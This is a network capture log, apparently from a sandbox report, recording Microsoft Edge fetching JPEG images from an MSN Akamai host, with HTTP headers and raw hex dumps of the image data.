2024-11-25 13:14:49 UTC	16384	IN	Data Raw: 8d 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=
2024-11-25 13:14:49 UTC	1968	IN	Data Raw: 1b e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-25 13:14:50 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-25 13:14:50 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-25 13:14:50 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-25 13:14:50 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-25 13:14:50 UTC	16384	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-25 13:14:50 UTC	7952	IN	Data Raw: 54 59 24 27 4d b8 a4 04 d7 e6 03 09 5f a9 5c 51 85 5c 57 70 3b b3 63 e8 b2 9a 90 0f 3d 55 f2 76 2e db 98 09 a6 c2 91 1e 66 1a 5d be df 2e dd fb f1 b0 b9 3e 64 0d e0 aa a4 a8 ce d5 4d 7b df 24 f5 0a 3f 4a 8e d8 fa 48 df 25 e9 a4 53 b2 84 c6 d0 a1 a7 b9 5e 0d fa 16 71 03 70 9a 71 a3 3e 62 8f 28 af 1f e8 54 c4 7e 62 fd b4 56 e1 48 03 e8 4a 8c c7 21 40 f2 55 d6 6a 9d 4a 52 e7 e1 a9 3f d5 5f 93 d4 36 8e a9 5a b0 c2 9e 0a 9f 36 15 cf cb 83 a7 44 2b 31 04 ed 64 34 5f e5 b7 bd a4 86 ef a9 99 74 a9 30 53 49 dc 08 31 94 e7 5c 4c b0 ca c9 8e c0 9c 49 18 f0 c9 ec 84 ea 10 91 3f dc 0e 52 36 38 9e 98 a6 b0 39 e3 c6 68 5f 5a 9c 56 1e e6 54 62 6b bc 0e 66 3c 1c 00 ba b5 13 52 66 a4 d7 3c ab 83 d8 2b 13 92 60 91 59 15 dd 88 cf 6b 52 ae 50 e9 ec a8 13 31 5e 53 ec 7a ea ff Data Ascii: TY$'M_\Q\Wp;c=Uv.f].>dM{$?JH%S^qpq>b(T~bVHJ!@UjJR?_6Z6D+1d4_t0SI1\LI?R689h_ZVTbkf<Rf<+`YkRP1^Sz
2024-11-25 13:14:50 UTC	15417	IN	Data Raw: 02 89 1d ef 0d 2e f0 00 e6 c5 d4 d0 8c f7 87 c9 46 c8 d9 1f 3d 8d be b2 ee 11 5a 52 06 19 32 ca 8a 4d 53 98 26 45 7c e1 eb a9 ad e8 00 0d b2 7e 9a 56 22 73 e5 ed 71 28 52 7e 20 63 30 2b 1c 59 02 e9 51 09 a0 c2 7d c5 1d 69 52 0a ab 22 0d 46 3c c3 76 f9 88 08 ce d7 23 50 30 f7 c5 cd 48 cc 8a ee c6 18 a6 b8 47 37 a8 12 21 2f 86 ac 1d 4f 1f 7d ce 24 b6 01 12 b0 76 53 df 6b b9 48 ce a4 ec fb e0 f8 2f 0d dc 8b 44 0c 48 68 0a cc e2 e4 01 06 32 e6 d9 0a 02 82 9b dc 90 89 35 ec f3 60 0d 4e 9d 24 c5 71 cf 63 1d 24 ea 3c 99 8b 54 76 45 1c 52 35 6e cc 63 83 81 85 db 29 89 56 c1 1e c6 a3 7b 3e c8 8c a5 b5 48 ec a4 26 b2 04 9e fc b6 31 08 19 04 9a 52 38 d4 d6 5c 2a 63 22 2e 95 28 19 8f 7d c1 b0 e9 09 a9 ac e5 53 ab 63 a8 4a 6a 47 0c a8 da 02 94 0e 91 25 55 93 1e 5b 9d Data Ascii: .F=ZR2MS&E\|~V"sq(R~ c0+YQ}iR"F<v#P0HG7!/O}$vSkH/DHh25`N$qc$<TvER5nc)V{>H&1R8\*c".(}ScJjG%U[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49874	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:49 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 Last-Modified: Sun, 17 Nov 2024 18:32:54 GMT X-Source-Length: 79668 X-Datacenter: westus X-ActivityId: 0a66f746-8b2f-4450-a7cf-b2fcc1269276 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 79668 Cache-Control: public, max-age=148609 Expires: Wed, 27 Nov 2024 06:31:38 GMT Date: Mon, 25 Nov 2024 13:14:49 GMT Connection: close
2024-11-25 13:14:49 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 13:14:50 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-11-25 13:14:50 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
2024-11-25 13:14:50 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-25 13:14:50 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-25 13:14:50 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-25 13:14:50 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49875	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:49 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 13:47:16 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: ff79e93a-9960-4b77-a778-af0a49b23005 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQA X-Source-Length: 67183 Content-Length: 67183 Cache-Control: public, max-age=218549 Expires: Thu, 28 Nov 2024 01:57:18 GMT Date: Mon, 25 Nov 2024 13:14:49 GMT Connection: close
2024-11-25 13:14:49 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 13:14:50 UTC	16384	IN	Data Raw: d3 5f 5b a3 b9 4e 4b 44 b6 25 ed b9 ea c3 8b fa b2 eb f0 8a 5d d8 7f 89 9f 01 1f a8 f1 90 dd 5e a7 3b bf cc f5 69 fd 77 8c 86 f7 19 ad 71 f7 58 e3 38 65 d6 32 eb 19 c4 76 fb b8 f1 dc 5f 2b 81 ab cc d3 f9 9d 2b 8e ab ff 00 e9 f1 1d 91 f7 9f 25 0f f8 89 f2 e8 df f6 65 ef 47 a3 1f f8 83 87 7d 68 54 8f 32 7e d3 8c e1 97 fe 5d 63 3c 7b 7b 6f 8e ad ff 00 e9 f1 1f e5 f7 87 df 78 9c b8 2a dc f2 82 f6 9c b1 fa cf 05 2f ee 5b bd 35 ec 3b a3 f5 0e 16 5b ab 43 fa 91 ce a7 ff 00 3f 9b 77 1d b9 5f 17 c7 be af 05 db 51 18 f9 df 56 93 c3 87 a3 1e f9 7f f9 1e da e2 29 cb 74 a2 fb 9a 35 f3 23 a4 5f a4 2f f2 f0 94 be ae f9 3c 3a e7 7e f3 b6 9a e3 ef eb fb bd b5 39 df e4 7a 3b 6b 49 5b 68 97 e9 05 2a d2 d2 3b 3d 24 6d 0f 68 c2 aa c3 b1 37 0b 90 55 86 4d ca b8 0c 04 30 18 c9 Data Ascii: 